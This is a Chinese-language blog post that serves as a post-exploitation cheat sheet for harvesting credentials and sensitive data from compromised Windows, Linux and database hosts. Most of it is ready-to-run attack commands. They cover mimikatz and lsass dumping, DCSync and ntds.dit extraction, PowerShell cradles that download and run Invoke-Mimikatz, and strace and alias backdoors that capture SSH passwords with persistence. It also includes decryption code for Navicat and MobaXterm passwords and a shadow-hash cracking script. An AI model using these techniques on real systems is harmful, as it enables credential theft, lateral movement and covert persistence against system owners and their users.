敏感数据搜集

Windows

1 系统凭据

https://cloud.tencent.com/developer/article/1656546

下面这些工具对凭据的分析普遍需要管理员权限。一般来说,对于windows的凭据窃取类攻击流程是这么玩的:

拿到一台windows,尽可能的提到高权限,检查是否有域,有的话用使用凭据收集得到的口令、哈希、密钥、票据进行横向移动。定位域控,如果能传递攻击拿到域控权限最好,或者对域控采用漏洞攻击。

1.1 口令

1.1.1 mimikatz

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

2021-07-07_164814

1.1.2 wce

wce.exe -w

2021-07-07_164847

2021-07-07_170818

1.1.3 powershell+mimikatz

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" powershell "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

2021-07-07_165336

2021-07-07_165320

1.2 哈希

可用于PTH及口令破解。获取哈希普遍需要管理员权限。

目标 工具 方法 命令
SAM mimikatz 在线 .\mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
SAM reg 离线 reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
mimikatz 在线 .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
SAM Pwdump
lsass procdump 离线 procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"
lsass mimikatz 在线 .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
lsass wce 在线 .\wce.exe -l
lsass 任务管理器 离线 在进程栏内找到lsass.exe手工转储进程信息
Get-PassHashes.PS1 在线 powershell -exec bypass
Import-Module .\Get-PassHashes.PS1
Get-PassHashes
metasploit 在线 run hashdump
metasploit 在线 hashdump
metasploit 在线 post/windows/gather/credentials/domain_hashdump(获取域hash)
quarksPwDump 在线 quarksPwDump.exe –dhl -o hash.txt
QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit
LaZagne 在线 lazagne.exe all
pwdump 在线 pwdump

如果是导出SAM文件到本地,有多种方式能将哈希读出来:

方法一

mimikatz "lsadump::sam /sam:SAM /system:SYSTEM" "exit"

2021-07-09_165916

方法二

GetHashes.exe SAM

2021-07-09_170427

方法三

samdump2 system sam

2021-07-09_165727

1.3 票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" mimikatz.exe "kerberos::ptt "[0;34c63]-2-0-60a10000-ailx00@krbtgt-HACKBIJI.TOP.kirbi"

1.4 密钥

可用于PTK

.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit"

1.5 域控上的凭据收集

1.5.1 域控上的哈希

1.5.1.1 mimikatz

方法一

.\mimikatz.exe "lsadump::dcsync /domain:corp.cowbot.com /all /csv" "exit"

2021-07-09_171040

方法二

.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
1.5.1.2 secretsdump
python secretsdump.py administrator:12345678@192.168.55.8
1.5.1.3 Invoke-DCSync

获取地址:https://raw.githubusercontent.com/Al1ex/Invoke-DCSync/master/Invoke-DCSync.ps1

Import-Module .\Invoke-DCSync.ps1 Invoke-DCSync -PWDumpFormat
1.5.1.4 ntds.dit文件获取

使用域控上的ntds.dit文件同样能得到哈希。先从域控上获得ntds.dit的副本,之后再获取system.hive(存放着ntds.dit的访问密钥,),之后使用其他工具从ntds.dit中提取哈希。

方法一

ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {**********}" quit quit copy C:\$SNAP_****_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit ntdsutil snapshot "unmount {**********}" quit quit ntdsutil snapshot "delete {**********}" quit quit reg save hklm\system c:\SYSTEM

2021-07-09_143402

2021-07-09_143508

方法二

vssadmin create shadow /for=c: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit vssadmin delete shadows /for=c: /quiet esentutl /p /o c:\ntds.dit del *.cab reg save hklm\system c:\SYSTEM

2021-07-09_145109

方法三

diskshadow /s c:\hello.txt esentutl /p /o c:\ntds.dit reg save hklm\system c:\SYSTEM

文件内容如下:

set context persistent nowriters add volume c: alias someAlias create expose %someAlias% k: exec "c:\Windows\System32\cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit delete shadows all list shadows all reset exit

2021-07-09_150726

方法四

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

2021-07-09_150934

方法五

#Nishang的脚本 import-module .\Copy-VSS.ps1 Copy-vss
1.5.1.5 ntds.dit文件分析

方法一

使用impacket中的脚本secretsdump.py

https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_23/impacket-0.9.23.tar.gz secretsdump.py -ntds.dit -system system.hive LOCAL

2021-07-09_155803

方法二

NTDSDumpEx.exe -d ntds.dit -s system

2021-07-09_143554

1.6 其他

1.6.1 哈希在线破解

https://cmd5.com https://www.objectif-securite.ch/ophcrack

1.6.2 pip泄露企业域账户口令

企业域内使用pip可能要走代理,而为了通过流量认证,往往需要在pip.ini 设置http代理信息,而代理信息中可能含有域账号及密码。

C:/User/账户名/pip/pip.ini

2 浏览器密码

2.1 LaZagne

LaZagne:https://github.com/AlessandroZ/LaZagne

# 以管理员权限运行时可拉取下来哈希 lazagne.exe all

2.2 手工查看

Firefox

"打开菜单"=>"我的密码"

Chrome

#这种方式需要知道管理员密码 "设置"=>"自动填充"=>"密码"=>"已保存的密码"

3 应用第三方应用

3.1 查找明文密码

findstr /i /s "password" *.config findstr /i /s "password" *.ini findstr /i /s "password" *.xml

3.2 星号查看器

可以使用星号查看器查看部分系统上的认证框中的密码信息。

3.3 Git

3.3.1 git账号密码

可以在有管理员权限的情况下通过lazagne导出git的明文密码。

3.3.2 git的免密登录私钥

使用该私钥可以篡改用户本人的任意云上仓库

C:\Users\<用户名>\.ssh\id_rsa

3.3.3 git的历史记录

C:\Users\<用户名>\.bash_history

3.3 Navicat

获取数据库密码

注册表中找到相关数据库连接中的pwd键值:

计算机\HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\*\pwd

网上有师傅写了对应的解密脚本。代码如下。

<?php //https://github.com/tianhe1986/FatSmallTools namespace FatSmallTools; class NavicatPassword { protected $version = 0; protected $aesKey = 'libcckeylibcckey'; protected $aesIv = 'libcciv libcciv '; protected $blowString = '3DC5CA39'; protected $blowKey = null; protected $blowIv = null; public function __construct($version = 12) { $this->version = $version; $this->blowKey = sha1('3DC5CA39', true); $this->blowIv = hex2bin('d9c7c3c8870d64bd'); } public function encrypt($string) { $result = FALSE; switch ($this->version) { case 11: $result = $this->encryptEleven($string); break; case 12: $result = $this->encryptTwelve($string); break; default: break; } return $result; } protected function encryptEleven($string) { $round = intval(floor(strlen($string) / 8)); $leftLength = strlen($string) % 8; $result = ''; $currentVector = $this->blowIv; for ($i = 0; $i < $round; $i++) { $temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector)); $currentVector = $this->xorBytes($currentVector, $temp); $result .= $temp; } if ($leftLength) { $currentVector = $this->encryptBlock($currentVector); $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector); } return strtoupper(bin2hex($result)); } protected function encryptBlock($block) { return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); } protected function decryptBlock($block) { return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); } protected function xorBytes($str1, $str2) { $result = ''; for ($i = 0; $i < strlen($str1); $i++) { $result .= chr(ord($str1[$i]) ^ ord($str2[$i])); } return $result; } protected function encryptTwelve($string) { $result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv); return strtoupper(bin2hex($result)); } public function decrypt($string) { $result = FALSE; switch ($this->version) { case 11: $result = $this->decryptEleven($string); break; case 12: $result = $this->decryptTwelve($string); break; default: break; } return $result; } protected function decryptEleven($upperString) { $string = hex2bin(strtolower($upperString)); $round = intval(floor(strlen($string) / 8)); $leftLength = strlen($string) % 8; $result = ''; $currentVector = $this->blowIv; for ($i = 0; $i < $round; $i++) { $encryptedBlock = substr($string, 8 * $i, 8); $temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector); $currentVector = $this->xorBytes($currentVector, $encryptedBlock); $result .= $temp; } if ($leftLength) { $currentVector = $this->encryptBlock($currentVector); $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector); } return $result; } protected function decryptTwelve($upperString) { $string = hex2bin(strtolower($upperString)); return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv); } } use FatSmallTools\NavicatPassword; //需要指定版本,11或12 //$navicatPassword = new NavicatPassword(12); $navicatPassword = new NavicatPassword(11); //解密 //$decode = $navicatPassword->decrypt('15057D7BA390'); $decode = $navicatPassword->decrypt('73EFB530B74DCCE359F34539742ECD9E8D1FE826F5C263CE'); echo $decode."\n";

3.4 MobaXterm

3.4.1 独立版

pip3 install pycryptodome # 改python3 lib库中的crypto为Crypto git clone https://github.com/HyperSine/how-does-MobaXterm-encrypt-password.git cd how-does-MobaXterm-encrypt-password/python3/ # 打开安装目录中的相关配置文件MobaXterm.ini,定位到形如以下的配置项,即可开始密码破解 # “ssh22:ubuntu@192.168.44.131=kng1Y0YhWerxkdR54zMFh7WKY2wg6IEbTU2” python3 MobaXtermCipher.py dec -sp 1 kng1Y0YhWerxkdR54zMFh7WKY2wg6IEbTU2

2021-07-09_171629

3.4.2 安装版

读注册表,导出相关凭据

# 无管理密码的解密,直接读注册表,从注册表读连接信息和账户 hash reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P

凭据解密,需要用到下面这个工具

https://github.com/HyperSine/how-does-MobaXterm-encrypt-password

解密命令如下

python3 MobaXtermCipher.py dec -sysh desktop-ibe7jr7 -sysu yang -h 192.168.3.130 -u root lJWaoLu57REbPnQW62E0fUpfVA38r/hKFtVH4

2021-07-09_171719

3.5 VMware

#一些传送的文件 C:\Users\%username%\AppData\Local\Temp\vmware-%username%\VMwareDnD #每台vmware的log日志都含有启动操作信息。 C:\Users\%username%\AppData\Local\Temp\vmware-%username%\ #vmware内主机的备注信息

4 wifi口令

4.1 手工

#执行下面命令,密码导出在生成的xml文件中 netsh WLAN export profile key=clear folder=.

4.2 LaZagne

LaZagne:https://github.com/AlessandroZ/LaZagne

# 以管理员权限运行时可拉取下来wifi明文口令。 lazagne.exe all

5 历史记录

5.1 Git-Bash历史记录:

C:\Users\%username%\.bash_history C:\Users\%username%\.gitconfig

5.2 运行框历史记录

reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU reg query HKEY_USERS\<sid>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

5.3 powershell历史记录

Get-Content (Get-PSReadLineOption).HistorySavePath

5.4 DNS缓存记录

ipconfig /displaydns

5.5 其他

5.5.1 RDP连接记录

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\172.19.2.198"

5.5.2 Web浏览记录及标签

详见浏览器中各历史记录及标签项。

5.5.3 最近文件记录

Windows下用以查看最近操作文件的方式有很多种,是取证中常用的技术。这里举最常见的一种通过Recent记录来查看最近操作文件的手段。以下4种方式均能获得Recent记录。

1C:\Documents and Settings\%username%\Recent 2)或winkey+r && recent 3)%UserProfile%\Recent 4)%APPDATA%\Microsoft\Windows\Recent

6 敏感资料发现

6.1 敏感路径

# 桌面 C:\Users\%username%\Desktop # 下载目录 C:\Users\%username%\Downloads # 微信下载目录 C:\Users\%username%\Documents\WeChat Files\微信号\FileStorage\File\归档日期 # 硬盘数据盘 D:/E:/F: # 共享的文件 net share wmic share get name,path,status

6.2 回收站分析

# cmd.exe # 获得所有被删文件 FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ >%c.txt # 恢复出真实的被删文件的名称 PowerShell -Command "$Recycler =(New-Object -ComObject Shell.Application).NameSpace(0xa);foreach($file in $Recycler.items()){echo "---------------------";$file.path;$file.ExtendedProperty(\"{9B174B33-40FF-11D2-A27E-00C04FC30871} 2\")+'\'+$file.name}"

2021-07-09_173955

6.3 Notepad++

notepad有一目录会存储异常关闭时的临时文件,这些文件涉及到使用者的日常操作,可能含有一些敏感数据。

C:\Users\<用户名>\AppData\Roaming\Notepad++\backup

Linux

Linux的特点(功能较单一、命令接口丰富)注定了在它上面做敏感数据的搜索与发现相比较而言更为容易。

1 历史记录

# /root/ 及 /home/*/ .bash_history .zsh_history .mysql_history .redis_history

历史记录中重点关注:

1.有没有直接给出账户名及密码的命令。

2.有没有远程其他设备的操作。(如果有我们可以试着远程,看看有没有配上免密登录)

3.有没有比较敏感的涉及数据备份之类的操作。

2 各类凭据

# 密码搜集 grep -rn "passw" -a / | grep -v "php\|jsp\|\.js\|\|.java" grep -rn "passw" -a / | grep -v "ini\|conf" find / -name *.properties -o -name *.xml -o -name *.conf -o -name *.json -exec grep -Hn "passw" {} \;

3 口令窃取

实际场景下应用较少,口令窃取需要有正常运维账户进行交互,这一过程中稍有不注意,极易被发现。

3.1 fakesu、fakesudo、fakepasswd

写了三套fake工具,利用PATH优先级劫持正常运维输入命令时的执行流程

https://github.com/aplyc1a/toolkits/tree/master/0x04 持久化/Linux/口令窃取后门/fake_su

https://github.com/aplyc1a/toolkits/tree/master/0x04 持久化/Linux/口令窃取后门/fake_sudo

https://github.com/aplyc1a/toolkits/tree/master/0x04 持久化/Linux/口令窃取后门/fake_passwd

3.2 键盘记录器

大部分键盘记录器只对带有GUI界面的Linux有效并且要求输入文本要在图形化页面里。实际中,对Linux部键盘记录器很少见。

3.3 strace后门

使用strace可以偷取SSH密码。具体可分两种情况:

一种时监听系统内sshd服务收到的所有流量,从中可以提取到密码信息。

另一种是通过alias后门、hash后门、PATH优先级等方式结合strace劫持系统内的ssh命令,从中可以提取到密码信息。为了实现持久化,会将劫持命令持久化到/etc/profile、/etc/bashrc等文件中。

3.3.1 strace-sshd

这是上面提到的第一种后门。常见的命令如下。

(strace -f -F -P `ps aux|grep "sshd -D"|grep -v grep|awk '{print $2}'` -t -e trace=read,write -s 32 > /tmp/.sshd.log 2>&1 & )

记录量往往很大,可以grep一下。

grep -E 'read\(6,".+\\0\\0\\0\\.+")' /tmp/.sshd.log

3.3.2 strace-ssh

如下面一个alias后门。或将strace命令写入shell脚本进而部署成hash后门或PATH优先级后门。

alias ssh='strace -o /tmp/sshwd-`date '+%d%h%m%s'`.log -e read -s2048 ssh'

3.4 OpenSSH后门

专门写了一篇OpenSSH后门制作,使用定制化的OpenSSH后门,其稳定性与隐蔽性较前面的方案都高。

4 凭据破解

Linux下的凭据破解主要针对/etc/shadow,网上有很多现成的脚本,当然也可以放到cmd5.com上试着查查。下面是网上的某python3爆破脚本

import hashlib,math def rstr_sha512(text: bytes) -> bytes: sha512 = hashlib.sha512() sha512.update(text) return sha512.digest() def _extend(source: bytes, size_ref: int) -> bytes : extended = b"" for i in range(math.floor(size_ref/64)): extended += source extended += source[:size_ref % 64] return extended def _sha512crypt_intermediate(password: bytes,salt: bytes) -> bytes: #digest_a = rstr_sha512(password + salt) digest_b = rstr_sha512(password + salt + password) digest_b_extended = _extend(digest_b,len(password)) intermediate_input = password + salt + digest_b_extended passwd_len = len(password) while passwd_len!=0: if passwd_len&1 == 1: intermediate_input += digest_b else: intermediate_input += password passwd_len >>= 1 return rstr_sha512(intermediate_input) def _sha512crypt(password :bytes,salt :bytes,rounds :int) -> bytes: digest_a = _sha512crypt_intermediate(password, salt) p = _extend(rstr_sha512(password*len(password)),len(password)) s = _extend(rstr_sha512(salt*(16+digest_a[0])),len(salt)) digest = digest_a for i in range(rounds): c_input = b"" if i&1 : c_input += p else: c_input += digest if i % 3: c_input += s if i % 7: c_input += p if i & 1: c_input += digest else: c_input += p digest = rstr_sha512(c_input) return digest def sha512crypt(password :bytes,salt :bytes, rounds=5000) -> str: salt = salt[:16] # max 16 bytes for salt input = _sha512crypt(password, salt, rounds) tab = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" order = [ 42, 21, 0, 1, 43, 22, 23, 2, 44, 45, 24, 3, 4, 46, 25, 26, 5, 47, 48, 27, 6, 7, 49, 28, 29, 8, 50, 51, 30, 9, 10, 52, 31, 32, 11, 53, 54, 33, 12, 13, 55, 34, 35, 14, 56, 57, 36, 15, 16, 58, 37, 38, 17, 59, 60, 39, 18, 19, 61, 40, 41, 20, 62, 63] output = "" for i in range(0,len(input),3): # special case for the end of the input if i+1 >= len(order): # i == 63 char_1 = input[order[i+0]] & 0b00111111 char_2 = (input[order[i+0]] & 0b11000000) >> 6 output += tab[char_1] + tab[char_2] else: char_1 = input[order[i+0]] & 0b00111111 char_2 = (((input[order[i+0]] & 0b11000000) >> 6) | (input[order[i+1]] & 0b00001111) << 2) char_3 = ( ((input[order[i+1]] & 0b11110000) >> 4) | (input[order[i+2]] & 0b00000011) << 4) char_4 = (input[order[i+2]] & 0b11111100) >> 2 output += tab[char_1] + tab[char_2] + tab[char_3] + tab[char_4] if rounds!=5000: return "$6$rounds={}${}${}".format(rounds,salt.decode("utf-8"),output) else: return "$6${}${}".format(salt.decode("utf-8"),output) def testPass(cryptPass): salt,shadowPass=cryptPass.split('$')[2],cryptPass.split('$')[3] dictFile=open('dictionary.txt','r') for word in dictFile.readlines(): word=word.strip() # print(word) tempPassWord=sha512crypt(bytes(word, encoding = "utf8"), bytes(salt, encoding = "utf8"), 5000) # print("temppassword is {}".format(tempPassWord)) # print("shadowpassword is {}".format(shadowPass)) if cryptPass==tempPassWord: print("[+] Found Password {}".format(word)) return print("[-] Password Not Found ") return def main(): passFile=open('passwords.txt') for line in passFile.readlines(): if ":" in line: user=line.split(':')[0] cryptPass=line.split(':')[1].strip(' ') print("[*] Now cracking Password For :{}".format(user)) testPass(cryptPass) if __name__ == "__main__": # 与crypt.crypt("123456","$6$123456") 运算结果一致 # print(sha512crypt(b"123",b"DhlRUwqV",5000)) main()

5 docker挖掘

查看系统内有无docker镜像或已启动的docker容器。

docker images docker ps

如果有可以打开docker,翻阅内部有无敏感数据。具体拉起docker的命令可能不同镜像有差别,可以参考历史记录内的docker相关操作。

#启动 docker run -it **** #进入 docker exec -it **** /bin/bash

进入docker内可以重点关注web服务的配置文件,查看诸如数据库的连接口令及访问方式,redis地址信息等。

数据库内数据搜集

1 翻找密码

/*MySQL数据库内找密码*/ SELECT TABLE_NAME FROM `information_schema`.`COLUMNS` where `COLUMN_NAME` like '%pass%'; SELECT TABLE_NAME FROM `information_schema`.`COLUMNS` where `COLUMN_NAME` like '%pwd%';

https://mp.weixin.qq.com/s/vRZOUOnDRCagr8IgUehIlg

2 数据库特权账户口令

2.1 MySQL

#select * from mysql.user; select host,user,authentication_string from mysql.user; select host,user,password from mysql.user;

2.2 MSSQL

这部分参考网文。

https://mp.weixin.qq.com/s/vRZOUOnDRCagr8IgUehIlg

# MSSQL 2000 select name,password from master.dbo.sysxlogins select master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa' # MSSQL 2005 select name,password_hash from sys.sql_logins # MSSQL 2008R2 Select name,password_hash from sys.sql_logins where name = 'sa' # MSSQL 2012R2 select name,password_hash from sys.sql_logins # MSSQL 2016 select name,password_hash from sys.sql_logins

2.3 Oracle

Oracle有三个默认账户:

sys:change_on_install

system:manager

scott:tiger

可以登上数据库后输入以下命令查看

select username,password from dba_users;

__EOF__

本文作者ZapcoMan
本文链接https://www.cnblogs.com/ZapcoMan/p/18454886.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   ZapcoMan  阅读(29)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示